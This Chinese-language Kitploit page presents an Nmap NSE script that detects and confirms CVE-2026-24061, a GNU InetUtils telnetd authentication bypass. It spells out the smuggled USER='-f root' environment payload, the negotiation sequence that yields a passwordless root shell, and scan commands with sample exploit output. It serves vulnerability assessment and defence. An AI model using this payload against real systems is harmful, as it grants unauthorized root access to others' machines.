Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-24061-NSE — 该脚本执行完整的Telnet协商,精确镜像真实telnet -a客户端会话的字节序列。 | Kitploit
工具/GitHubGitHub/hd0x01/cve-2026-24061-nse
漏洞扫描器漏洞利用网络安全渗透测试身份验证
GitHubhd0x01/cve-2026-24061-nse

CVE-2026-24061-NSE

该脚本执行完整的Telnet协商,精确镜像真实telnet -a客户端会话的字节序列。

查看仓库
76个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-24061 — GNU InetUtils telnetd 认证绕过

Nmap NSE 检测脚本

Nmap NSE CVE CVSSv3 License


概述

此 Nmap NSE 脚本用于检测 CVE-2026-24061,这是 GNU InetUtils telnetd 版本 1.9.3 至 2.7 中的一个认证绕过漏洞。

在 Telnet 选项协商期间,通过发送格式为 -f <username> 的特制 USER 环境变量,未认证的攻击者可以获得指定本地用户(包括 root)权限的 shell——无需提供任何密码。

预期用途: 仅限授权的渗透测试和漏洞评估。
在未获得明确书面许可的情况下,针对系统运行此脚本属于违法行为。


漏洞详情

漏洞原理

GNU InetUtils telnetd 使用 Telnet NEW-ENVIRON 选项(RFC 1572)在协商阶段从客户端接收环境变量。随后会使用这些变量调用 login(1) 程序。

该漏洞的产生是因为 telnetd 将 USER 变量直接传递给 login,而未进行任何清理。Linux 上的 login 程序接受 -f <user> 标志,其含义为 "已预认证,无需检查密码"。通过 NEW-ENVIRON 载荷注入 USER="-f root",攻击者可以完全绕过认证。

root@kitploit:~
客户端 → 服务器:  IAC SB NEW-ENVIRON IS  VAR "USER"  VALUE "-f root"  IAC SE
服务器响应:  生成 login -f root  →  root shell,无需密码

脚本详情

字段值
文件名telnet-vuln-cve-2026-24061.nse

检测方法

该脚本执行完整的 Telnet 协商,精确复现真实 telnet -a 客户端会话的字节序列(根据 Wireshark 抓包重建):

  1. 接收服务器发送的初始 IAC 突发(DO TTYPE、DO TSPEED、DO ENVIRON 等)
  2. 回复完整的客户端能力声明(WILL TTYPE、WILL LINEMODE 等)
  3. 完成子协商回合(SB TSPEED、SB ENVIRON、SB TTYPE)
  4. 在 NEW-ENVIRON IS 载荷中注入特制的 USER='-f <user>'
  5. 完成 WILL ECHO / DO BINARY / WONT LINEMODE 序列
    (关键步骤——缺少此步骤,telnetd 无法完成 PTY 设置)
  6. 检查服务器是否在没有密码挑战的情况下发送登录 shell 提示符

结果状态:

状态含义
EXPLOIT收到 shell 提示符——确认绕过成功
LIKELY_VULNENV 载荷被接受,无密码提示,但未收到 shell 提示符
NOT_VULN看到密码提示,或协商未完成

安装

Linux

root@kitploit:~
# 复制到 Nmap 脚本目录
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/

# 更新脚本数据库
sudo nmap --script-updatedb

Windows

root@kitploit:~
# 复制到 Nmap 脚本目录(如有需要请调整路径)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"

# 更新脚本数据库(以管理员身份运行)
nmap --script-updatedb

使用方法

基本扫描(默认用户:root)

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 <目标>

指定其他用户

root@kitploit:~
# 短格式
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <目标>

# 中格式
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <目标>

# 完整限定格式
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
    --script-args telnet-vuln-cve-2026-24061.user=kali <目标>

扫描 IP 范围

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24

详细 / 调试输出

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v  <目标>   # 详细模式
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d  <目标>   # 调试模式
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <目标>   # 完整十六进制跟踪

示例输出

存在漏洞的主机

root@kitploit:~
PORT   STATE SERVICE
23/tcp open  telnet
| telnet-vuln-cve-2026-24061:
|   VULNERABLE:
|   GNU InetUtils telnetd 认证绕过
|     State: VULNERABLE (可利用)
|     IDs:  CVE:CVE-2026-24061
|     Risk factor: 严重  CVSSv3: 9.8
|     Description:
|       GNU InetUtils (1.9.3 - 2.7) 中的 telnetd 服务允许
|       通过特制的 USER 环境变量绕过认证。
|       发送 '-f <user>' 可导致未认证的登录 shell。
|     Extra information:
|       认证已绕过:注入 USER='-f root' 后收到 shell 提示符
|       ——未出现密码挑战。
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2026-24061
|       https://github.com/JayGLXR/CVE-2026-24061-POC
|_      https://github.com/SafeBreach-Labs/CVE-2026-24061

不存在漏洞的主机

root@kitploit:~
PORT   STATE SERVICE
23/tcp open  telnet

(无脚本输出——NOT_VULN 默认静默,符合标准 Nmap 惯例)


脚本参数

参数别名默认值描述
telnet-vuln-cve-2026-24061.usertelnet-user, userroot通过 -f 注入的用户名

技术说明

为什么 WONT LINEMODE 至关重要

GNU InetUtils telnetd 使用 Linemode 协商(RFC 1184)来确定终端 I/O 模式。服务器在协商早期发送 DO LINEMODE,客户端最初响应 WILL LINEMODE。在 ENV 载荷交换之后,服务器发送 WILL ECHO,随后发送 DO BINARY。此时客户端必须响应 WONT LINEMODE 以表示逐字符模式——只有这样 telnetd 才能完成 PTY 设置(ioctl TIOCSWINSZ)并派生 login。缺少此步骤,服务器会记录 peer died: Inappropriate ioctl for device 并断开连接。

NSE Socket API

Nmap 的 NSE socket API 与标准 Lua socket 约定不同:

root@kitploit:~
-- Nmap NSE(正确用法):
local status, data = sock:receive_bytes(1)
if status == true then -- data 是接收到的字符串

参考链接

  • NVD — CVE-2026-24061
  • JayGLXR 的 PoC
  • SafeBreach-Labs 的 PoC
  • RFC 1572 — NEW-ENVIRON
  • RFC 1184 — Linemode
  • Nmap NSE 文档

免责声明

此脚本仅供授权的安全测试和研究目的使用。 作者不对因使用此工具造成的任何滥用或损害负责。 在测试非您拥有的系统之前,务必获得明确的书面许可。

下载工具
字段值
CVE IDCVE-2026-24061
受影响版本GNU InetUtils telnetd 1.9.3 – 2.7
CVSSv3 评分9.8 严重
攻击向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
类型认证绕过 (CWE-287)
披露日期2026-01-01
类别vuln, exploit, intrusive
端口TCP/23 (telnet)
测试环境Nmap 7.94 / 7.98,Windows 与 Linux